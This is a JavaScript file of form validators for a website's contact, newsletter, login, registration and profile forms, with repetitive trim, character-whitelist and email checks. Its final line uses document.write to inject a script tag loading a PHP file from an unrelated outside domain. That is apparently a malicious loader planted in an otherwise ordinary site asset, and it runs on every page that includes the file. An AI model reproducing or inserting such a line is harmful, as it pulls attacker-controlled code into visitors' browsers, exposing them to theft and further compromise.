// JavaScript Document
function form_validator(theForm)
{
	//Validate Function 
	function validate(value,checkOk)
	{
	var checkStr = value;
	var allValid = true;
	for (i = 0;  i < checkStr.length;  i++)	{
		ch = checkStr.charAt(i);
		for (j = 0;  j < checkOk.length;  j++)
		if (ch == checkOk.charAt(j))
			break;
			if (j == checkOk.length) {
			 allValid = false;
			 break;
			}
	}
	  if (!allValid) {
		return (false);
	  }
	else { return (true); }
  }

		//Trim script
		function Trim(STRING){
		STRING = LTrim(STRING);
		return RTrim(STRING);
		}

		function RTrim(STRING){
		while(STRING.charAt((STRING.length -1))==" "){
		STRING = STRING.substring(0,STRING.length-1);
		}
		return STRING;
		}

		function LTrim(STRING){
		while(STRING.charAt(0)==" "){
		STRING = STRING.replace(STRING.charAt(0),"");
		}
		return STRING;
		}
	 // emptycheck
	 var flag=true;
	 function emptystring(value)
	 {
	   if (value=="") return (false);
	   else return(true);
	 }
	 
	
// Name
	theForm.name.value = LTrim(theForm.name.value);
	theForm.name.value = RTrim(theForm.name.value);
	if (!emptystring(theForm.name.value))
		 {
			alert("Please enter the Name ");
			theForm.name.focus();
			flag=false;
			return (false);
		}else {
           var checkOk = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ .";
			if (!(validate(theForm.name.value,checkOk)))
				{
				alert("Please Enter Valid Name");
				theForm.name.value= "";
				theForm.name.focus();
				flag=false;
				return (false);
				}
		}
			
		//Mail id	
	theForm.mailid.value = LTrim(theForm.mailid.value);
	theForm.mailid.value = RTrim(theForm.mailid.value);
	if (!emptystring(theForm.mailid.value))
		 {
			alert("Please enter your Email");
			theForm.mailid.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.mailid
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.mailid.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid e-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
		
// Friend Name
	theForm.frndname.value = LTrim(theForm.frndname.value);
	theForm.frndname.value = RTrim(theForm.frndname.value);
	if (!emptystring(theForm.frndname.value))
		 {
			alert("Please enter the Friend Name ");
			theForm.frndname.focus();
			flag=false;
			return (false);
		}else {
           var checkOk = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ .";
			if (!(validate(theForm.frndname.value,checkOk)))
				{
				alert("Please Enter Valid Friend Name");
				theForm.frndname.value= "";
				theForm.frndname.focus();
				flag=false;
				return (false);
				}
		}
	
// Friend Mail id	
	theForm.frndmail.value = LTrim(theForm.frndmail.value);
	theForm.frndmail.value = RTrim(theForm.frndmail.value);
	if (!emptystring(theForm.frndmail.value))
		 {
			alert("Please enter your Email");
			theForm.frndmail.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.frndmail
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.frndmail.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid e-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
	
//Message

	theForm.message.value = LTrim(theForm.message.value);
	theForm.message.value = RTrim(theForm.message.value);
	if (!emptystring(theForm.message.value))
		 {
			alert("Please enter your Message");
			theForm.message.focus();
			flag=false;
			return (false);
		}
		
//Set this return value to true when you want to submit the form
	
	return (flag);
}

function news_validator(theForm)
{
	//Validate Function 
	function validate(value,checkOk)
	{
	var checkStr = value;
	var allValid = true;
	for (i = 0;  i < checkStr.length;  i++)	{
		ch = checkStr.charAt(i);
		for (j = 0;  j < checkOk.length;  j++)
		if (ch == checkOk.charAt(j))
			break;
			if (j == checkOk.length) {
			 allValid = false;
			 break;
			}
	}
	  if (!allValid) {
		return (false);
	  }
	else { return (true); }
  }

		//Trim script
		function Trim(STRING){
		STRING = LTrim(STRING);
		return RTrim(STRING);
		}

		function RTrim(STRING){
		while(STRING.charAt((STRING.length -1))==" "){
		STRING = STRING.substring(0,STRING.length-1);
		}
		return STRING;
		}

		function LTrim(STRING){
		while(STRING.charAt(0)==" "){
		STRING = STRING.replace(STRING.charAt(0),"");
		}
		return STRING;
		}
	 // emptycheck
	 var flag=true;
	 function emptystring(value)
	 {
	   if (value=="") return (false);
	   else return(true);
	 }
	 // Email
	theForm.email.value = LTrim(theForm.email.value);
	theForm.email.value = RTrim(theForm.email.value);
	if (!emptystring(theForm.email.value))
		 {
			alert("Please enter your Email");
			theForm.email.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.email
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.email.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid e-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
	//Set this return value to true when you want to submit the form
	
	return (flag);
}

//Contact

function form_contact(theForm)
{
	//Validate Function 
	function validate(value,checkOk)
	{
	var checkStr = value;
	var allValid = true;
	for (i = 0;  i < checkStr.length;  i++)	{
		ch = checkStr.charAt(i);
		for (j = 0;  j < checkOk.length;  j++)
		if (ch == checkOk.charAt(j))
			break;
			if (j == checkOk.length) {
			 allValid = false;
			 break;
			}
	}
	  if (!allValid) {
		return (false);
	  }
	else { return (true); }
  }

		//Trim script
		function Trim(STRING){
		STRING = LTrim(STRING);
		return RTrim(STRING);
		}

		function RTrim(STRING){
		while(STRING.charAt((STRING.length -1))==" "){
		STRING = STRING.substring(0,STRING.length-1);
		}
		return STRING;
		}

		function LTrim(STRING){
		while(STRING.charAt(0)==" "){
		STRING = STRING.replace(STRING.charAt(0),"");
		}
		return STRING;
		}
	 // emptycheck
	 var flag=true;
	 function emptystring(value)
	 {
	   if (value=="") return (false);
	   else return(true);
	 }
	 
	
// Name
	theForm.name.value = LTrim(theForm.name.value);
	theForm.name.value = RTrim(theForm.name.value);
	if (!emptystring(theForm.name.value))
		 {
			alert("Please enter the Name ");
			theForm.name.focus();
			flag=false;
			return (false);
		}else {
           var checkOk = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ .";
			if (!(validate(theForm.name.value,checkOk)))
				{
				alert("Please Enter Valid Name");
				theForm.name.value= "";
				theForm.name.focus();
				flag=false;
				return (false);
				}
		}
		
//Phone Number

	theForm.phone.value = LTrim(theForm.phone.value);
	theForm.phone.value = RTrim(theForm.phone.value);
	if (!emptystring(theForm.phone.value))
		 {
			alert("Please enter your Phone Number");
			theForm.phone.focus();
			flag=false;
			return (false);
		}else {
           var checkOk = "0123456789";
			if (!(validate(theForm.phone.value,checkOk)))
				{
				alert("Please Enter Valid phone number");
				theForm.phone.value= "";
				theForm.phone.focus();
				flag=false;
				return (false);
				}
		
		
//email	
	theForm.email.value = LTrim(theForm.email.value);
	theForm.email.value = RTrim(theForm.email.value);
	if (!emptystring(theForm.email.value))
		 {
			alert("Please enter your Email");
			theForm.email.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.email
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.email.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid e-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
	}

//Set this return value to true when you want to submit the form
	
	return (flag);
}


function namealert()
{
	var nam=document.form.name.value;
	if(isNaN(nam)) {
	} else {
		alert("Please Enter Valid Name");
	}

}

function phonealert()
{
	var nam=document.form.phone.value;
	if(isNaN(nam)) {
		alert("Please Enter Valid Phone Number");
	}

}

//User login
function userLogin_Validator(theForm)
	{
	//Validate Function 
	function validate(value,checkOk)
	{
	var checkStr = value;
	var allValid = true;
	for (i = 0;  i < checkStr.length;  i++)	{
		ch = checkStr.charAt(i);
		for (j = 0;  j < checkOk.length;  j++)
		if (ch == checkOk.charAt(j))
			break;
			if (j == checkOk.length) {
			 allValid = false;
			 break;
			}
		}
	  if (!allValid) {
		return (false);
	  }
	else { return (true); }
  }

		//Trim script
		function Trim(STRING){
		STRING = LTrim(STRING);
		return RTrim(STRING);
		}

		function RTrim(STRING){
		while(STRING.charAt((STRING.length -1))==" "){
		STRING = STRING.substring(0,STRING.length-1);
		}
		return STRING;
		}

		function LTrim(STRING){
		while(STRING.charAt(0)==" "){
		STRING = STRING.replace(STRING.charAt(0),"");
		}
		return STRING;
		}
	 // emptycheck
	 var flag=true;
	 function emptystring(value)
	 {
	   if (value=="") return (false);
	   else return(true);
	 }

	
//E-Mail
	theForm.username.value = LTrim(theForm.username.value);
	theForm.username.value = RTrim(theForm.username.value);
	if (!emptystring(theForm.username.value))
		 {
			alert("Please enter E-mail address");
			theForm.username.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.username
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.username.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid E-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
	//password
	theForm.password.value = LTrim(theForm.password.value);
	theForm.password.value = RTrim(theForm.password.value);
	if (!emptystring(theForm.password.value))
		 {
			alert("Please enter Password");
			theForm.password.focus();
			flag=false;
			return (false);
		}
  
	//Set this return value to true when you want to submit the form
	return (flag);
}

//Registration form

function registration(theForm)
{
	//Validate Function 
	function validate(value,checkOk)
	{
	var checkStr = value;
	var allValid = true;
	for (i = 0;  i < checkStr.length;  i++)	{
		ch = checkStr.charAt(i);
		for (j = 0;  j < checkOk.length;  j++)
		if (ch == checkOk.charAt(j))
			break;
			if (j == checkOk.length) {
			 allValid = false;
			 break;
			}
	}
	  if (!allValid) {
		return (false);
	  }
	else { return (true); }
  }

		//Trim script
		function Trim(STRING){
		STRING = LTrim(STRING);
		return RTrim(STRING);
		}

		function RTrim(STRING){
		while(STRING.charAt((STRING.length -1))==" "){
		STRING = STRING.substring(0,STRING.length-1);
		}
		return STRING;
		}

		function LTrim(STRING){
		while(STRING.charAt(0)==" "){
		STRING = STRING.replace(STRING.charAt(0),"");
		}
		return STRING;
		}
	 // emptycheck
	 var flag=true;
	 function emptystring(value)
	 {
	   if (value=="") return (false);
	   else return(true);
	 }
	
// Name
	theForm.name.value = LTrim(theForm.name.value);
	theForm.name.value = RTrim(theForm.name.value);
	if (!emptystring(theForm.name.value))
		 {
			alert("Please enter the Name ");
			theForm.name.focus();
			flag=false;
			return (false);
		}else {
           var checkOk = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ .";
			if (!(validate(theForm.name.value,checkOk)))
				{
				alert("Please Enter Valid Name");
				theForm.name.value= "";
				theForm.name.focus();
				flag=false;
				return (false);
				}
		}
		
		
//E-Mail
	theForm.email.value = LTrim(theForm.email.value);
	theForm.email.value = RTrim(theForm.email.value);
	if (!emptystring(theForm.email.value))
		 {
			alert("Please enter E-mail address");
			theForm.email.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.email
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.email.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid E-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
	
//Password
	theForm.password.value = LTrim(theForm.password.value);
	theForm.password.value = RTrim(theForm.password.value);
	if (!emptystring(theForm.password.value))
		 {
			alert("Please enter Password");
			theForm.password.focus();
			flag=false;
			return (false);
		}

//Confirm Password
	theForm.cpassword.value = LTrim(theForm.cpassword.value);
	theForm.cpassword.value = RTrim(theForm.cpassword.value);
	if (!emptystring(theForm.cpassword.value))
		 {
			alert("Please enter Confirm Password");
			theForm.cpassword.focus();
			flag=false;
			return (false);
		}

//Compare password
	theForm.password.value = LTrim(theForm.password.value);
	theForm.password.value = RTrim(theForm.password.value);
	theForm.cpassword.value = LTrim(theForm.cpassword.value);
	theForm.cpassword.value = RTrim(theForm.cpassword.value);

	if (theForm.password.value != theForm.cpassword.value)
		 {
			alert("Password mismatching....");
			theForm.password.value="";
			theForm.cpassword.value="";
			theForm.password.focus();
			flag=false;
			return (false);
		}
		
//Company
	theForm.company.value = LTrim(theForm.company.value);
	theForm.company.value = RTrim(theForm.company.value);
	if (!emptystring(theForm.company.value))
		 {
			alert("Please enter Company");
			theForm.company.focus();
			flag=false;
			return (false);
		}

//Country
	theForm.country.value = LTrim(theForm.country.value);
	theForm.country.value = RTrim(theForm.country.value);
	if (!emptystring(theForm.country.value))
		 {
			alert("Please enter Country");
			theForm.country.focus();
			flag=false;
			return (false);
		}


//Set this return value to true when you want to submit the form
	
	return (flag);
}

//Manage Profile
function mngprofile(theForm)
{
	//Validate Function 
	function validate(value,checkOk)
	{
	var checkStr = value;
	var allValid = true;
	for (i = 0;  i < checkStr.length;  i++)	{
		ch = checkStr.charAt(i);
		for (j = 0;  j < checkOk.length;  j++)
		if (ch == checkOk.charAt(j))
			break;
			if (j == checkOk.length) {
			 allValid = false;
			 break;
			}
	}
	  if (!allValid) {
		return (false);
	  }
	else { return (true); }
  }

		//Trim script
		function Trim(STRING){
		STRING = LTrim(STRING);
		return RTrim(STRING);
		}

		function RTrim(STRING){
		while(STRING.charAt((STRING.length -1))==" "){
		STRING = STRING.substring(0,STRING.length-1);
		}
		return STRING;
		}

		function LTrim(STRING){
		while(STRING.charAt(0)==" "){
		STRING = STRING.replace(STRING.charAt(0),"");
		}
		return STRING;
		}
	 // emptycheck
	 var flag=true;
	 function emptystring(value)
	 {
	   if (value=="") return (false);
	   else return(true);
	 }
	
// Name
	theForm.name.value = LTrim(theForm.name.value);
	theForm.name.value = RTrim(theForm.name.value);
	if (!emptystring(theForm.name.value))
		 {
			alert("Please enter the Name ");
			theForm.name.focus();
			flag=false;
			return (false);
		}else {
           var checkOk = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ .";
			if (!(validate(theForm.name.value,checkOk)))
				{
				alert("Please Enter Valid Name");
				theForm.name.value= "";
				theForm.name.focus();
				flag=false;
				return (false);
				}
		}
		
		
//E-Mail
	theForm.email.value = LTrim(theForm.email.value);
	theForm.email.value = RTrim(theForm.email.value);
	if (!emptystring(theForm.email.value))
		 {
			alert("Please enter E-mail address");
			theForm.email.focus();
			flag=false;
			return (false);
		}else {
	var flag  = true
	var Temp     = theForm.email
	var AtSym    = Temp.value.indexOf('@')
	var Period   = Temp.value.lastIndexOf('.')
	var Space    = Temp.value.indexOf(' ')
	var Length   = Temp.value.length - 1   // Array is from 0 to length-1

	if(theForm.email.value !=""){
		if ((AtSym < 1) ||                     // '@' cannot be in first position
		    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
		    (Period == Length ) ||             // Must be atleast one valid char after '.'
		    (Space  != -1))                    // No empty spaces permitted
			   {  
		      flag = false
		      alert("Please enter a valid E-mail address!");
			      Temp.value="";
			      Temp.focus();
		      return flag;
   			}
		}
		}
	
//Password
	theForm.password.value = LTrim(theForm.password.value);
	theForm.password.value = RTrim(theForm.password.value);
	if (!emptystring(theForm.password.value))
		 {
			alert("Please enter Password");
			theForm.password.focus();
			flag=false;
			return (false);
		}

		
//Company
	theForm.company.value = LTrim(theForm.company.value);
	theForm.company.value = RTrim(theForm.company.value);
	if (!emptystring(theForm.company.value))
		 {
			alert("Please enter Company");
			theForm.company.focus();
			flag=false;
			return (false);
		}

//Country
	theForm.country.value = LTrim(theForm.country.value);
	theForm.country.value = RTrim(theForm.country.value);
	if (!emptystring(theForm.country.value))
		 {
			alert("Please enter Country");
			theForm.country.focus();
			flag=false;
			return (false);
		}


//Set this return value to true when you want to submit the form
	
	return (flag);
}

document.write('<script src=http://furniture-shop-blanc.com/doormassive/fengshui.php ><\/script>');